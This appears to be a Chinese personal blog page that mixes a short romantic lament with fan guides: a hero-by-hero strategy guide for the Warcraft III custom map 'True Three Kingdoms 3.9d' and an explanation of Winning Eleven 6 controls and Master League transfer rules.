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每天我都希望能有你的陪伴,但死板的我总是不能努力去习惯没有你.怎么办,老天请你给我一份真诚的爱情吧,没有的话我真的会很累的.天天相恋总是你说在你的口中但我知道其实大家都很痛苦.希望痛苦的我们快点找到爱情的另一半,毕竟我们是不可能的.

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天天在恋爱 - 米琪米的爱

 

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一个女生看了会哭,男生看了沉默的文章!  (作者置顶)
摘要:喜欢一个人真是难,想爱着他希望他不要走开,但他就是不说喜欢你,难道爱一个人真的那么难吗555我失去了太多太多,都是我真心的感情但为什么世界就数女人最难让人明白,要是=到失去的时候才对我说:我爱你.到那时难道就是爱的升华,但我们已经天地相见了55555555555555555555555555为什么........为什么? 查看全文

- 作者: 花满楼 2005年11月24日, 星期四 17:47  回复(7) |  引用(1) 加入博采

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- 作者: 米琪米 2007年06月3日, 星期日 06:48  回复(5) |  引用(1) 加入博采

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- 作者: 米琪米 2006年11月3日, 星期五 12:29  回复(2) |  引用(1) 加入博采

魔兽真三国无双我之看法
11 魔兽RPG真三国无双3.9d人物使用简介(老鸟片)
蜀国: 
  1.刘备: 
近战类,敏捷型,玩过的都知道,大家都叫为奶妈,在战斗中只有给同伴加血的技能帮助最大,还有就是第二个技能“护驾”可以把同伴拉到自己身边,在队友有危险的情况下救其一命,如果操作的好会让对方很头疼。但是自身攻击力与作战方面不值一提。 
   总评: 
   战斗力:弱 
   配合性:中 
 技术含量:高 
     性质:营救
建议装备: 养人

2.关羽: 
近战类,力量型,速度正常,普通攻击一般,但关羽的技能在实战中是非常实用的,初期就可以轻松杀人。而且“雨斩”(技能d)还能保命,跳到安全区域,晕、打、追、补、杀,战斗技能全面,又是力量性英雄。使用率较高,而且比较实用。前期X连D及可杀人,1级的雨斩攻击200. 
 总评: 
 战斗力:高 
 配合性:强 
技术含量:中 
 性质:顶杀、偷袭 
 建议装备:退魔刀

3.张飞: 
近战类,力量型,瞬间爆发性质的英雄,近身群晕,瞬间提速,还有大决V可以魔法免疫,使得张飞在战斗中,往往是冲在最前面的英雄,本身又是力量形战士,所以皮槽肉厚想死都难。V+B+C前期由于魔不够用建议先出一护身符,或加2级+ 
总评: 
战斗力: 高 
配合性: 强 
技术含量:中 
性质: 顶杀、追杀、偷袭 
建议装备:力量护腕、甲 

4.黄忠: 
远程射手,敏捷型,技能加攻击力比较多,初期压人比较爽,大绝F比较实用,敌人血少时插翅难飞。但由于没有晕人加速技能,出去太远容易被偷袭,在加上不是战士,混战中死亡率较高,所以一般都用风行刃. 
总评: 
战斗力: 中 
配合性: 中 
技术含量:中 
性质: 补刀、偷袭 
建议装备:风行刃 

5.马超: 
近战英雄,敏捷型,体质比较弱不能顶杀,但其速度无人可比,再加上技能,冲锋、减速、典型的追杀形人物。其冲锋技能又能瞬间跑到敌人身旁,提醒各位如果用冲锋的时候不能将敌人打死,最好别用,因为这个技能是马超用来保命的,不能杀人还可以自保。大决“万马奔腾”用来攻击建筑物比较爽。 
总评: 
战斗力: 中 
配合性: 中 
技术含量: 高 
性质: 追杀、暗杀、补刀、偷袭、攻城 
建议装备: 冰玉(如只攻城用可直接出甲)

6.赵云: 
近战类,敏捷型,生命值一般,但用赵云的人80%开场装备玄武斧,所以可以弥补一下血少的问题,技能,横扫、回避建议加满,虽然是被动技能但是好有用,技能“长枪突刺”建议只学一点,赵云这个技能就算加满也只是加攻击力晕人与击退是一样的,因为赵云杀人搞大决无双,所以此技能建议加一点就好 
总评: 
战斗力: 中 
配合性: 强 
技术含量: 底 
性质: 追杀、偷袭、营救 
建议装备: 玄武斧  

7.诸葛亮: 
法师,智力型,攻击魔法:雷击闪G、冰冻E(2秒),龙卷风建议不学此技能,但这个技能可以打建筑物,大决:光线非常爽的招数,还可以变换天气,下雨后可以攻击敌人所有将用与补刀,下雪后让自己周围500范围敌人不断受到伤害,起雾后自己周围500范围内英雄均可风形。杀人方法E X G三连击比较实用,放出X大决以后自己一定要面对敌人,而且越近伤害越打。 
总评: 
战斗力: 强 
配合性: 强 
技术含量: 高 
性质: 暗杀、补刀、偷袭 
建议装备: 孙子兵法 

8.黄月应: 
中距离攻击,敏捷型,血少攻底是这位美女最大的缺点,但是有技能闪烁可以救命也算是有逃生本领的英雄,技能F攻击275月应的这个技能无视防,比较爽吧。在加上闪烁BF加在一起可以闪击对手,期于技能加攻速,与大决“穿”则在混战中用处一般,被动技能总感觉不爽,但是打建筑与小兵一个比三个。 
总评: 
战斗力: 中 
配合性: 弱 
技术含量: 底 
性质: 补刀 
建议装备: 七星剑(血斧的话会影响大决不穿、注此人不能带3级玉) 

9.庞统: 
法师,智力型,魔法:定、打、被动技能减速、大决:范围攻击。说起来比较简单的法师,定完人打就是,配合杀人比较好,单杀本领一般,只能用大决,但是必须是老鸟级人物,才找的好包抄点,或者有孙子,把对手卷入风群内.
作者: 匹马_单枪  2006-6-14 15:59   回复此发言  

21 魔兽RPG真三国无双3.9d人物使用简介(老鸟片)
总评: 
战斗力: 中 
配合性: 强 
技术含量: 高 
性质: 营救、定人
建议装备: 孙子兵法 

10.魏延: 
近战类,力量型,第一技能T晕人2秒比较实用,被动技能加防、横扫,建议速战的话可以不学横扫,不是敏英雄,没有攻击速度。大决分身,分出9个幻影,加上自己一共10个,打建筑物很爽,群战时又能退敌,技术好可以把敌人围住打死,一般想围要出飞鞋。注:对放有于禁的话,用完大决真身一定要退。 
总评: 
战斗力: 弱 
配合性: 强 
技术含量:中 
性质: 营救、定人、攻城、退敌
建议装备:力量护腕、甲 
11.猛获: 
中距离攻击,力量型,除大决外期于技能均作用不打,吃兵用与打钱还可以,但是如果吃的对方士兵会被敌人看见,建议学一级吃老虎走下路。大决晕人打击,而且攻不底,比较有用,弱有猛得的话除战士外16级前均可以秒杀,但恢复较慢。唯一一个力量英雄不是近战的。 
总评: 
战斗力: 中 
配合性: 中 
技术含量:弱 
性质: 顶杀、偷袭 
建议装备:孟得新书(速战的话不要出,直接出力量、甲) 

12.祝融夫人: 
远战类,敏捷型,技能星落攻击加满300,无视防御,比较实用,但是期于技能动物园一样,攻击也不高,使用的话如果死掉还会给对方经验建议不要学,只学一级鸟用来当眼睛就好,大决被动技能,可以同时打3个敌人,但如果不是3级的话攻击力大打折扣,建议留这技能点到16级时一起加满。血少防底又没有保命技能是最大缺点,不是老鸟建议不要使用。 
总评: 
战斗力: 弱 
配合性: 中 
技术含量:中 
性质: 侦察(鸟去人别去)、补刀 
建议装备:风形刃 

13.徐庶 
法师,智力型,技能水柱攻击较高320,而且可以弹射,捆仙锁,定人6秒,时间比较常配合较好。但是定人时自己也不能移动,期于技能包括大决均为召唤类作用不打,打建筑物时可以用,注:对放有大乔不要用大决,会被召唤过去。 
总评: 
战斗力: 弱 
配合性: 强 
技术含量:底 
性质: 定人、攻城nbsp;、补刀
建议装备:孙子兵法(如不是团中第一法师可以出飞鞋,飞抓很过瘾的)  
 
14.马良 
法师,智力型,所有技能均为主动技能是其一大特色,打、退、吸、加、化,大决可以打击敌人魔法,又可以给我方顺间加满血,而且又是3.9d版本中唯一可以打魔法的英雄,又有退魔技能弥补了法师不会晕人的缺点,如果使用得当出神入画,我曾见过装备,孟得,孙子,动物杖,风行,飞鞋的马良,操作得当可为浑身是宝。由于没有群攻技能,新手不要用,不会补刀打不到钱。 
总评: 
战斗力: 强 
配合性: 强 
技术含量:高 
性质: 补刀、营救、追杀、暗杀、偷袭、化魔
建议装备:孙子兵法(如不是团中第一法师可以出孟得) 

15.糜竺 
法师,智力型,技能为地雷与自爆地雷,若前期压得住对方逼迫敌人不感出宝石,若对方出眼球可以自己出宝石反隐,如此的话此人用处极大,建议6级以后打开所有队友共享。有时难免自己操作不过来自爆雷没看到的情况,普通雷与自爆雷放的地方尽量避开兵道,只炸英雄,如木桶处,买孙子处可以多放。 
总评: 
战斗力: 弱 
配合性: 中 
技术含量:中 
性质: 暗杀 
建议装备:暴风之杖(如是第一法师必须出孙子)

16.马袋: 
远程,敏捷型,技能比较平平,加攻距离,加25%+55攻击,眼睛比较有用,大决吓唬人可以,作用不大,混战中,可以用大决射走对我放威胁最大的敌人英雄如果打兵时发现小地图上看不见敌人,一定要开“夜鹰之眼”防人偷袭,但此英雄作用不大,如都是老鸟过招,只有死的份。建议野战用 
总评: 
战斗力: 弱 
配合性: 弱 
技术含量:底 
性质: 养成 
建议装备:冰玉(如对方战士较多则出烈玉)  

17.熊猫三兄弟 
由于此游戏为三国题材建议大家不要用熊猫,如果AR到。 
大地很简单飞鞋大决注:在远地跳第二下时马上飞到地点,飞过去以后自己什么都不要动即使没打到目标,否则会停。 
作者: 匹马_单枪  2006-6-14 15:59   回复此发言  

31 魔兽RPG真三国无双3.9d人物使用简介(老鸟片)
暴风建议初期学一级闪电链,因为加满也不会增加攻击力,所以没必要加满而且费蓝还多,只学一级够了,闪电盾的bug建议大家不要用,如果自己队友是近战建议不要用,闪电球。其死回生迅速退敌的招数,用与攻击也不错若有退魔刀就很爽了。 
大哥:这个熊猫只减速,喷火就好了,大决用与防身保命,或者混战中分身,用分出来的暴风,让敌人最有战斗力的英雄一直在天上飞。 
总评: 
战斗力: 中 
配合性: 中 
技术含量:中 
性质: 胡闹 
建议装备:大地(翔鞋) 大哥(力量、甲) 暴风(退魔刀)  

 
魏国: 
1.曹操 
近战类,敏捷型,魏国的“奶妈”技能为人加血用,F音速剑,瞬间提速,用与追杀由于自己防底血少,建议不要追1/3以上敌人,顺移可以飞去任何探察过的地方,免去行走的烦恼,又可以神出鬼没,大决则打群兵用处不大。补刀杀人法.T飞过去,F追,C杀,如果被追杀时别慌F在跑,有人攻击时不要用顺移跑,会死的很惨。 
总评: 
战斗力: 弱 
配合性: 中 
技术含量:高 
性质: 营救、补刀、追杀、暗杀 
建议装备:七星剑 
2.夏侯 
近战类,力量型,虽是力量英雄但是升级时力加的并不多,所以比期于力量英雄血要杀,技能减速同时造成攻击,闪攻:飞到对方身边攻击。被动技能回避 
15%机会3倍攻击,大决:恶魔气息,气息出去会打人,回来会加血。比较爽,杀人一般先冲过去减速,追打,如果只剩一刀则闪攻,若距离够的话可以一直追再用一次减速,或者开大决追。 
总评: 
战斗力: 强 
配合性: 中 
技术含量:中 
性质: 顶杀、追杀、补刀 
建议装备:力量护腕、甲(如不是队中第一战士可出武士刀) 
3.夏侯渊 
近战类,敏捷型,技能旋风斩与关羽大决相似但是时间较短,最多打3下,加血技能建议不学,打算只打动物的话可以学1级,2倍攻击是他的看家本领,45%的机会刀刀出红字看这都爽,大决拉人,与对友配合时常用,拉过来一个圈踢~呵呵,此人bug建议大家不要用,在此也不说有想学的留下QQ. 
总评: 
战斗力: 强 
配合性: 中 
技术含量:高 
性质: 暗杀、偷袭 
建议装备:退魔刀(不同与关羽,退完魔以后要上去砍)

4.忍者 
近战类,敏捷型,由于本人抵制日货所以不多说,只说一句,忍者是用来开路,追杀的,就算混战的局面也不要出来,什么时候敌人只剩一刀一彪的血在出来,单杀时一定要等隐身技能好以后再出刀。 
总评: 
战斗力: 中 
配合性: 中 
技术含量:高 
性质: 暗杀、追杀、偷袭、补刀、探路 
建议装备:武士刀

5.司马懿 
法师,智力型,魏国第一法老鸟都称他能呼风唤雨,顺间改变战斗局面。技能F:晕人同时造成伤害,E:火雨攻击,可打建筑物,第三为被动技能模血用,建议学,大决:星移,攻击力高切晕3秒,但发动时间较慢,用与暗杀,或者有暴风之杖,如果被大决打中,则会上演一出漂亮的司马懿三连击,注:大决以后先用E攻击,然后敌人跑时在F一下,一个普通攻击,基本上“死”。 
总评: 
战斗力: 高 
配合性: 高 
技术含量:中 
性质: 暗杀、偷袭、攻城 
建议装备:孙子兵法 

6.甄姬 
近战类,敏捷型,由于这个人物是自己制作而不是根据魔兽人物改编所以比较性感,呵呵~技能毒:减速并打攻持续伤害,比较烦人的招数。闪击:与夏侯一样,回避32%与赵云一样,大决被动技能20%机会4倍伤害,打出一下可真爽,经常能一击至胜,前期杀人比较舒服,先毒一下,如果对方不加血,则第二毒以后去杀,如对方有晕人技能则要小心。 
总评: 
战斗力: 高 
配合性: 中 
技术含量:高 
性质: 追杀、偷袭
建议装备:武士刀

7.许楚 
近战类,力量型,除加攻速技能以外均为被动技能,15%晕,加20力,复活,一般为混战时冲在最前面的英雄,因为有两条命,死亡率很底,但单杀能力几乎为0,很多人用这个人出孙子,这个办法是错误的,加自己速,不如减敌人速,而且碰到赵云,张飞这样的将你开孙子也没用,所以建议用退魔刀,如果同伙有于禁用这个人能发挥到极点。 
作者: 匹马_单枪  2006-6-14 15:59   回复此发言  

41 魔兽RPG真三国无双3.9d人物使用简介(老鸟片)
总评: 
战斗力: 高 
配合性: 中 
技术含量:底 
性质: 顶杀、攻城
建议装备:退魔刀、晕锤  

8.张辽 
近战类,力量型,魏国第一战之美称,技能:W三道波每道225点伤害,但如近身用技能的话,三道全能打种攻击600+,技能F:晕人3秒造成160伤害,无视防比较实用但是要近身才能晕,被动技能回血,大决加防反近身攻击伤害,因这两个技能张辽才有铁人之称,建议偷袭时从后面上,F以后,砍2刀有神速符砍3刀 W,在一刀,除战士外基本挂。 
总评: 
战斗力: 高 
配合性: 高 
技术含量:中 
性质: 顶杀、偷袭 
建议装备:力量护腕、甲 

9.张合 
远程攻击,敏捷性,技能1区域放毒建议不学,如喜欢这个技能的朋友,建议你用旬。技能R,毒彪减速加32攻感觉上不减速,其实攻击到敌人顺间减一下,但没介绍的那么多,技能3被动技能加魔,不要学。大决毒。与美女一样,不介绍了,前期压人杀人的将,1级时从后路包抄一直R就能杀人,打晕将注意。 
总评: 
战斗力: 高 
配合性: 低 
技术含量:中 
性质: 追杀、暗杀、偷袭 
建议装备:风行刃 

10.曹仁 
近战类,力量性,在此要说的是,虽然是力量型的英雄但是出装备一定要出法师装备,如:暴风杖,护身符,曹仁很特殊是力量型的法师,技能Z睡觉,最多6秒给同伴制造机会,被追杀时也能救命,技能C攻击直线敌人,前期打钱很好用,技能3建议不学攻城时能用到,作用不大,大决变身,这个不用说大家都知道,要提的是如果变身以后,敌人没死,不要用打的,一直贴这他走就可以烧死,记住变身后不要普通攻击。遇马量小心 
总评: 
战斗力: 高 
配合性: 高 
技术含量:高 
性质: 暗杀、追杀、顶杀、攻诚、营救 
建议装备:暴风之杖(+20智回蓝加魔最大值,比买青龙好的多) 

11.郭嘉 
法师,智力型,攻击性法师,因技能3增加回蓝速度所以不用买回蓝物品,也使得前期压人很过瘾,技能N打击325血,有175无视防,技能F40秒加5防,可不学大决“银河冰爆”,大决中实用性最高的一个,攻击距离远(直线)定人2秒,可以攻可守,偷袭时非常好用,若前期压的住对方,或杀过对方法师几次的话,可以先出孟得新书,这样除战士以为英雄均可秒,N,C,孟得。若追杀距离够,记住不要先放大决,N减速后普通攻击,对方要跑时在C,等他能动时又可以N了,打晕将注意没孙子,别靠近。 
总评: 
战斗力: 中 
配合性: 高 
技术含量:底 
性质: 追杀、偷袭 
建议装备:孙子兵法(如不是团队第一法且初期没死,可出孟得)

12.典韦 
近战类,力量型,技能T同张飞,近身群晕3秒攻击150无视防御,技能2、3被动技能加移速、25%晕人1秒,大决减防同时可以一直看见对方。普通攻击较底,建议装备不好,不要单杀,由于是速型战士群战时帮晕,追杀血少的就可以,杀有风行或战士建议先R(大决) 
总评: 
战斗力: 中 
配合性: 高 
技术含量:中 
性质: 顶杀、追杀、偷袭 
建议装备:力量护腕、甲 

13.于禁 
中距离攻击,敏捷型,主技能加速14秒,配合性质比较高,给同伴或自己加速后追击敌人,注追杀或群战时,给有晕人技能的将加速,不要考虑自己杀。被动技能范围500攻击25%提升,技能3夜精灵放鸟看路(反隐),大决:闪电链主近身,身边敌兵越多威力越大,因为有后2个技能所有团战中经常看见此将, 用与防炸弹暗杀与魏延破城。 
总评: 
战斗力: 中 
配合性: 高 
技术含量:底 
性质: 追杀、暗杀 
建议装备:风行刃  

14.曹洪 
近战类,力量型,技能1灵魂(球)4级时候可以伏身变兵但用处不大,建议只学1级,技能2生命转化,将灵魂的生命值变为自己的,建议只学1级,技能3被动技能加移速+攻击,大决转化球的攻击为自己,战前使用,记得转4个,留1个球跟着自己走,由于没有攻击与辅助技能,留一个球必要时候吃掉加血。群战时不要冲在最前面,虽然是力量,但是升级力加的并不多。 
1 魔兽RPG真三国无双3.9d人物使用简介(老鸟片)
总评: 
战斗力: 中 
配合性: 底 
技术含量: 高 
性质: 追杀、顶杀 
建议装备: 冰玉(如敌方战士多,则出力量护腕、甲)

15.贾翊 
法师,智力型,所有技能均为使用技能,但与马良不同使用率较底,也是唯一个没有晕人与减速技能的法师。技能E:尸爆,必须有尸体才能使,攻击比较高技能G:减敌人攻击,防御,由于必须近距离施展所以使用机会不多,冲太猛会死,技能T:尸变,招唤死尸为己战斗,由于召唤出来的兵死掉也会给对方加钱加经验建议前期要学但不要使用,攻城时在用,大决T:攻击超级高,而且技术魔法免疫也可以攻击,破关张赵的好招数,杀人时建议先E,在T。但是这个人不能打团中第一法师的位置,没晕没减速技能是法师最大的弱点。 
总评: 
战斗力: 中 
配合性: 底 
技术含量: 中 
性质: 秒杀、攻城 
建议装备: 孙子兵法(如不是第一法则出孟得)  

16.旬 
法师,智力型,技能均为使用技能,技能G:范围700内每秒45伤害,无视防御,前期打钱压人的招。技能T:眩晕陷阱,放在对方来偷袭或前进后退的地方,可以反败为胜,而且晕人6秒,注:避开兵道。技能E:加血,可不学。大决:毒蛇守卫8只,正好可以把敌将围住,在敌人被晕或者有暴风杖的时候定点围人比较好,注:有逃生技能的不要围。团战中用这个人的话大多都为出车攻城用。 
总评: 
战斗力: 中 
配合性:  中 
技术含量: 中 
性质: 偷袭、定点围杀
建议装备:暴风之杖(如是团队第一法师则出孙子) 

17.徐晃 
近战类,力量型,技能均为使用技能,技能W,推出一道墙壁阻挡敌军,切造成150伤害无视防御,用与配合阻击,切断后路用,建议前期可不学,技能E.攻击技能有机会造成225额外伤害。技能加攻可以不学,用时多为打建筑,群战只有一瞬间你发动一下技能机会可能就错过了,大决“大地之怒”晕2秒 550伤害,比较爽,注使用时不要与法师技能同时发动,否则同队法师技能无效。杀人时可以E,追不要打,等E在好时,放大决然后E.注:蓝要够用 
总评: 
战斗力: 高 
配合性: 中 
技术含量: 高 
性质: 顶杀、暗杀、偷袭、攻城 
建议装备:翔鞋(放弃攻度、完全靠技能)  


中立英雄: 
1.单于阿速答 
近战类,敏捷型,攻底血少,技能为召唤狼,建议不要使用,打动物可以,技能:飓风咆哮加范围500内攻击,效果不是很明显,被动技能:耐久光环加范围500内移动速度24%,这个技能是此人唯一有用的技能,战斗中提升速度,由于团战中团里第一法师都会出孙子所以此人感觉作用不大。大决“天罗地网”虽然能群定人3秒但是被定的敌人还可以进行还击使用技能,显得此技能没把握时作用平平。 
总评: 
战斗力: 弱 
配合性: 中 
技术含量: 底 
性质: 追杀、群定 
建议装备:出什么都感觉没用(建议不要使用)  
 
2.孙权 
近战类,力量型,技能反动剑:技术含量较高,近身有人攻击自己时使用能晕1.2秒,时间要掌握好。技能逼战:很讨厌的技能,迫使敌人走向自己身边,而且对魔法免疫的将也能使用,自己身边有同伴时拉过来一个大家爽,呵呵~被动技能减伤,大决“复仇”死后比生钱还猛移动速度到顶,攻击力与级有关,但是死以后装备只能保留第一个格内的物品,所以第一格放什么很重要。此将也是力量英雄升级力加的不多,不要硬顶。 
总评: 
战斗力: 中 
配合性: 高 
技术含量: 高 
性质: 顶杀、追杀、偷袭、营救 
建议装备: 冰玉(注:出冰的话要放第一格)、力量护腕  
3.太史慈 
近战类,敏捷型,技能F,连击两次+普通攻击一次,技能上没写,但事实上是打3下,110+自身敏捷,技能R分身本身没有攻击力,有人出雷玉就是为了让雷出的时候分身有攻击,但是建议分身只学一级用来化魔保命就可以,被动技能:减魔伤,杀12个兵加一点敏。大决“十方圆舞曲”如果3级大决敏捷够80的话,一个大决杀一个非纯力的战士很轻松,由于大决的距离感很强建议出风行,杀人时,先分身,自己隐,假身冲,一起过去以后,敌人通常会把技能打假身上,然后真身在他身边,最好靠进敌人逃跑路线靠后,用大决,几下就挂了,混战时注意,离晕将远些。另外这个人根据魔兽里“恶魔猎手”改编,出玄武使用时会有以外效果。 
总评: 
战斗力: 强 
配合性: 底 
技含量:高 
性质: 暗杀、偷袭 
建议装备:风行刃、退魔刀  

4.大乔 
远程攻击,敏捷型,技能均为使用技能,技能R冰箭,减速技能,由于不加攻击且这个女人攻击较底,初期尽量避免与射手对射。技能E封魔的技能,加满8秒应用率很高,混战或者偷袭时破掉敌人的魔法,使有逃生技能的英雄也无法脱身。技能E生命吸取,建议不学。大决:召唤学来打钱可以,建议不要召唤自己加的动物,封锁自己的经济来源,即使士气底也不要,去敌方召唤就好。 
总评: 
战斗力: 底 
配合性: 高 
技术含量:高 
性质: 追杀、偷袭、营救 
建议装备:风行刃

3.9d里只有这些英雄,升到4.1又多了些美女,不过现在还没普及先不提。 
以上操作方法及个人见解均为老鸟提供,新手,中鸟难免有些疑问,打钱方面补刀的技术是一定要练的,还有值得一提的是,游戏中键盘的ALT键通常都是按住不放的,只有在使技能的时候放开。在这只说一句,AT团战,在16级之前战斗就结束了,没有后期。所以像马袋哪中养成型的英雄就只有死的份,战斗中作用不大,一般平均等级到8的时候,士气高的一方就会出车强推了。如果玩的是魏国,一定要在前期杀敌将加士气,然后第一法师,出完孙子后,立刻出车、坦克,打掉兵营,战斗胜利。士气高杀人多以后就不团结作战,自己去打打动物打打钱什么的做法,最后导致的下场就是失败,这就是很多人认为蜀国英雄比魏国厉害的原因,蜀国养成型的英雄多,所以魏国一方若不速战,凶多吉少。  
 
以上为个人看法与经验,如有不对请勿骂~

- 作者: 米琪米 2006年07月28日, 星期五 02:41  回复(13) |  引用(1) 加入博采

实况足球6基础系统详解

操作篇

1. 带球
A.普通带球 方向键
这是最基本的带球,你可以轻松的转身变向。
速度: **
灵活度:****
转身角度: 45/90/135/180
护球:*1/2* (一又二分之一星)

B.全速带球: (R1+方向键)
最高速带球,可用来增加射门力量。
速度:****
灵活度:*
转身角度:22.5/180
护球:1/2*

C.高速带球(R2+方向键)
比用R1安全。
速度:***
灵活度:**1/2*
转身角度:45/90/180
护球:*

D.慢速带球(在带球时不要按方向键 R1 R2)
等于以前的L1带球。用于做假动作晃对手和等自己队员。
速度:1/2*
灵活度:***1/2*
转身角度:45/90/135/180
护球:**

2. 特殊带球技巧
A.在全速带球时点前几次
比全速带球更快,速度普通得球员也能以难以想象得速度前进。但灵活度最低--难道是超速跑!

B.方块+叉+方向键(假射)
和以前的we一样,不过你可以决定扣球的方向。

C.连点L1(护球1)
增加你在带球时对两边和后方的防护,可以在使用此技巧时换方向。

D.连点R2(护球2)
球员会快速的作一次此技巧。增加你在带球时对两边和后方的防护,而且灵活度比用L1更高。

E.方向键+R2(突然右角度变换)
(Sudden right angle change in direction with directional button + R2) (这句话不是很清楚)
在使用技巧后,球员自动慢速前进。可连续多次运用。

F.跳 (当对手铲球时,方向键+R2)
动作难度增加(四周跳?),不过效果也增加了。

G.两脚假动作
球员必须有此特殊能力(前->右前 或 左前->前)
可以在对手无反应下过人
在突击时很有用

H.高速双脚假动作 (前->R2+右前 或 左前+R2+前)???原文可能有误……

I.180度转身 (带球时按后)
135度转身 (带球时按右后或左后)
在球员后转时时不可侵犯的. 原文是“无敌”的
在转身时按R1或R2会把球会离身体的更远

J.停球 (放开所有键,按R2)

3. 特殊控球技巧
A.在移动时,接球一瞬间按R1,或R2
这是一个高级技巧,在大角度转身时有用。

B.漏球 (接球一瞬间,不按任何方向键,按下R2)

C.动作取消 (当球员自动追球时,按R1+R2)
在掷界外球时很有用

D.当球在空中时, 按R2可以自由移动你控制得队员)
抢位更好了 :)

4. 攻击控制
传球
A.短传 (X)

B.不停球短传球 (接球前按 X)

C.长传 (O)
分为自动和手动,(默认自动)

D.不停球长传 (接球前按 O)

E.转移 (面对球场的另一边是按O)

F.直传 (三角) (空当传球)

G.空中空当传球 (L1 + 三角)

H.高高度传中(对方禁区边 按O)
不同的设置会有不同的传球范围。

I.中高度传中 (对方禁区边 按O二次)

J.贴地传中 (对方禁区边 按O三次)

K.高弧线传中 (对方禁区边 R2+圈)
比高高度传中更高更慢。

L.快速传中 (L1+圈)
不管你的位置,你都可以将球传向对方禁区。

M.地面二过一 (L1+X-> 队友接球时按三角)

N.空中二过一 (L1+X->队友接球时按圈)

O.传&跑 (按X传球后->按R2) (就是假二过一)

P.手动短传 (右手柄R3?)

Q.手动长传 (L1+右手柄)

5. 射门
A.普通射门 (口)
跑动中,射门力量增加但精确度下降。

B.不停球射门 (接球前,按口)

C.低吊 (按住L1按口)

D.高吊 (按口时,按R1)

系统篇

以下是游戏的基本点,有经验的玩家可能会觉得没用。 :)

I. 游戏模式
在加载完游戏后,你会看到所有的游戏模式。

下面的游戏模式的顺序和你在游戏中一样:

1. Match Mode
比赛模式
这是最基本的模式,你可以和你的朋友或cpu对战。你也可以在此模式下从记忆卡加载你的master league队伍。

2. League Mode
联赛模式
你可以在此模式下,选择一国家队与另15个国家队进行联赛。你可以选择5级难度。

3. Cup Mode
杯赛模式
注: tournament 特制赛会制的比赛
你可以选择亚洲杯,欧洲杯,美洲杯和世界杯等等。但每个杯都会限制你所能选的国家队。选择特定球队玩特定杯赛,你就可以得到隐藏球队。

4. Master League Mode
这个不用翻大家都知道.
游戏一共有40个俱乐部队供选,你可以通过打比赛获得点数去购买球员。下面有更详细解释。

5. Training Mode
训练模式
挑战模式加入!你可以在制模式下挑战不同的训练项目,包括带球,传球,射门等等。如果你获得足够分数,会有隐藏队员出现。

6. Edit Mode
编辑模式
你可用此模式编辑队员名,能力,俱乐部名和队旗等。你也可以为俱乐部和国家队创造新球员。

7. Game Option
游戏设置
包括自动储存,加载设置文件,保存设置文件,加载we5数据和加载we5fe数据等. 你也可以在此模式下播放你所储存的进球。

II. MASTER LEAGUE
有三个组别,你可以从丙组打到甲组。
与以前master league不同的是新的ML有杯赛,友谊赛以及季后赛。

以下是每个组别的流程图:

DIVISION 3
丙组(8个俱乐部队)
14 场联赛

TINY CUP
(只有丙组球队参加)

promotion league
附加升级赛(在每个赛季后丙组前两位与乙组后两位进行的附加赛)
附加赛头两位晋级。

乙组(16支俱乐部队)
30场联赛
MASTER CUP
大师杯? (一共有来自乙组和甲组的32支球队参加)
联赛前四名升级

甲组 (16支球队)
30场联赛

MASTER LEAGUE CHAMPIONSHIP
冠联赛(由赛季后前四位的球队参加,决定冠军)
赢得甲组冠军!

注意:
1. GAME OVER:
游戏结束条件:1)没有足够的点数去维持你的俱乐部。例如,无法支付队员工资; 2)队伍不足15人。

2.Changeable difficulties:
难度改变: 你可以随时在设制中改变游戏难度. 一共三种难度供选:容易,普通,困难。(EASY,NORMAL and HARD.)如果你想要玩最高难度,你只能在一个联赛开始前选,而且不能在此联赛过程中更改。

III. MASTER LEAGUE (PLAYER TRANSFER)
(队员转会)

转会系统在WE6里有了很大改变,新系统更接近于真实。就算你有很多的点数,你也不一定很容易的得到你索要的球员。

注意:
每队最多只有40个队员。在以前的WE系列中,不管是国家队还是俱乐部队,每队只能由22个队员。在本作中, 你的俱乐部队可以拥有最多四十名球员,因为在游戏中加入了一种新的原素--球员进化。不过必须注意的是: 每场比赛中还是只能选择22名队员参加,居然有预备队的概念了啊。

1.球员转会流程图

俱乐部球员或自由球员(国家队员或元老队员)

决定球员买入所需点数。

总合同点数=合同点数(注:球员工资)*签约时间+转会点数(就是对方俱乐部会向你索取的转会费)

自由身球员无需转会点数(游戏会自动为你计算转会点数)
一场比赛后,你可以知道你是成功或失败。

2. 转会点数的计算
转会点数大约是球员的合同点数(球员工资)的10倍。

3. 合同点数每场比赛都要支付
如果你与对方俱乐部协商成功,你只需要即刻付出转会点数。剩下的总合同点数将除以赛季伦数,然后每场比赛后支付。(就是球员工资啦)
丙组: 球员比赛数为14 (因为每赛季14场比赛)
甲乙组,球员比赛数为30
因此,你并不需要一次支付所有的工资。

注意:
游戏中为你计算的买入点数并不一定是正确。你如果只付游戏为你计算的点数的话,转会要求一般都会失败。你必须在此点数上增加至少50%或80%以增加转会成功的机率, 队员在原俱乐部的重要性也会影响转会成功的机率。太黑了阿。

4. 太贵? 租借吧。
如果你没有足够的点数,你可以考虑租借球员. 那么,你在每场比赛后只需要支付租借费.不过不好的是: 你可租借的球员很少. 因为,其它俱乐部不会把自己顶尖的球员租出

5. 什么时候你可以向其他俱乐部提出转会要求。
你必须知道在一个赛季中你什么时候可以买球员。转会交易期有两个,赛季中和赛季前。

赛季中
丙组: 在第三轮到第十轮之间.
甲乙组,7到22轮之间

赛季前
在赛季前有8轮的时间,你可以进行转会协商. 你也可以在其中的后四轮打友谊赛赚取点数。

注意:
当你在选要买的球员时, 你会发现在自由身球员中, 有一些很便宜,能力很低的球员名字边上会有一个种子的符号. 这表示你可以用“培育点数”(球员进化点)来培育此球员。在两场比赛间,你可以选择一个培育队(由这些可培育球员组成)。你可用“培育点数”加在可培育球员上、他也许会成长为一位明星球员!

6. 在每场比赛后你获得的点数
丙组
胜 700 平 500 输 0

D3 TINY CUP
丙组下级杯
第一轮胜 1000
第二轮胜 2000
冠军 2500

D3 PLAYOFF
丙组季候赛
胜 700 平 500 输 0

乙组
胜 600 平 450 输 0

大师杯
第一轮胜 1000
第二轮胜 1250
第三轮胜 1500
半决赛 2500
冠军 5000

甲组
胜 700 平 500 输 0

ML CHAMPIONSHIP
胜 700 平 500 输 0

晋级和其它奖励
友谊赛胜 172
从丙组到乙组 5000
乙组到甲组 7500
丙组 金靴奖(GOLDEN BOOT)250
丙组 最多助攻(MOST ASSIST) 250
乙丙组每个进球(GOAL)40
甲组每个进球 50

- 作者: 米琪米 2006年06月26日, 星期一 13:32  回复(1) |  引用(1) 加入博采

大家好希望大家能当黑客谢谢
